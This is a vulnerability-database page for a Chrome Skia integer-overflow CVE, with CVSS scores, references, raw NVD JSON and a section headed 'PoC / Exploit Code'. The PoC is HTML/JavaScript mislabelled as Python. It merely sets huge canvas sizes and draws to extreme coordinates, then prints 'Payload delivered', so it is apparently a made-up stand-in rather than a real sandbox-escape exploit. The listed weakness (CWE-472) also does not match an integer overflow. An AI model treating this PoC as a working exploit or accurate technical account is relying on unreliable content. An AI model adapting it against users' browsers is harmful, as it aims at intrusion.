CVE-2026-9998

Description

Integer overflow in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
Conceptual Proof of Concept for CVE-2026-9998
Note: This demonstration assumes the renderer process is already compromised.
-->
<html>
<body>
<canvas id="exploitCanvas"></canvas>
<script>
  const canvas = document.getElementById('exploitCanvas');
  const ctx = canvas.getContext('2d');

  // Attempt to trigger integer overflow in Skia via path manipulation
  try {
    // Setting dimensions that might cause internal integer overflow in Skia
    canvas.width = 0x100000000; 
    canvas.height = 0x100000000;

    // Drawing complex paths to stress the Skia engine
    ctx.beginPath();
    ctx.moveTo(0, 0);
    // Passing large coordinates to trigger the overflow condition
    ctx.lineTo(0x7FFFFFFF, 0x7FFFFFFF);
    ctx.stroke();

    console.log("Payload delivered to Skia engine.");
  } catch (error) {
    console.error("Error during exploit attempt:", error);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9998
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9998
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9998/
[4] VulDB https://vuldb.com/cve/CVE-2026-9998
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513337118

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9998", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:58.037", "lastModified": "2026-05-29T16:16:40.267", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513337118", "source": "[email protected]"}]}}